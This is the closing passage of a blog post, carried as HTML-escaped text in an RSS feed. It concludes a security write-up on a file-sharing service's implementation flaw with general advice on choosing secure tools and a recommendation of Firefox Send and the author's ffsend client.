&lt;&#x2F;ul&gt;
&lt;p&gt;Based on this I&#x27;d argue that real-world abuse of this issue would have been
seriously minimal, if not non-existent.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;closing-off&quot;&gt;Closing off
    &lt;a class=&quot;anchor&quot; href=&quot;#closing-off&quot; aria-label=&quot;Anchor link for: closing-off&quot;&gt;&lt;&#x2F;a&gt;

&lt;&#x2F;h2&gt;
&lt;p&gt;I guess what we&#x27;ve learned here is that you should never consider a service to
be secure, purely on what they&#x27;re claiming on their website. This shows to be
true again and again.&lt;&#x2F;p&gt;
&lt;p&gt;I always recommend choosing a solution that:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Has been around for a while&lt;&#x2F;li&gt;
&lt;li&gt;That is open-source&lt;&#x2F;li&gt;
&lt;li&gt;That has been battle-tested in the real world&lt;&#x2F;li&gt;
&lt;li&gt;That has had public security audits by multiple parties&lt;&#x2F;li&gt;
&lt;li&gt;That relies on technologies that are considered to be safe based on thorough
research and reviews&lt;&#x2F;li&gt;
&lt;li&gt;That is hosted by a &lt;em&gt;trustful&lt;&#x2F;em&gt; party&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;Do I recommend to look for something else than this service?&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Not necessarily. Other than this implementation issue, they seem to have
set-up things quite well for what I can probe from the outside.
They&#x27;re using the right technologies for encryption, and definitely made some
good choices with regard to security. It was just a sad thing they missed this
tiny detail.&lt;&#x2F;p&gt;
&lt;p&gt;But if there&#x27;s a different tool that meets your needs, and better
fits the informal requirements I listed above, you&#x27;re may be better off from a
security standpoint.&lt;&#x2F;p&gt;
&lt;p&gt;To securely send someone a file, I personally recommend &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;send.firefox.com&#x2F;&quot;&gt;Firefox Send&lt;&#x2F;a&gt;
with &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;timvisee&#x2F;ffsend&quot;&gt;&lt;code&gt;ffsend&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; (which is a command line client for it that I built, shameless plug).&lt;&#x2F;p&gt;
</description>
            </item>
        
    </channel>
</rss>

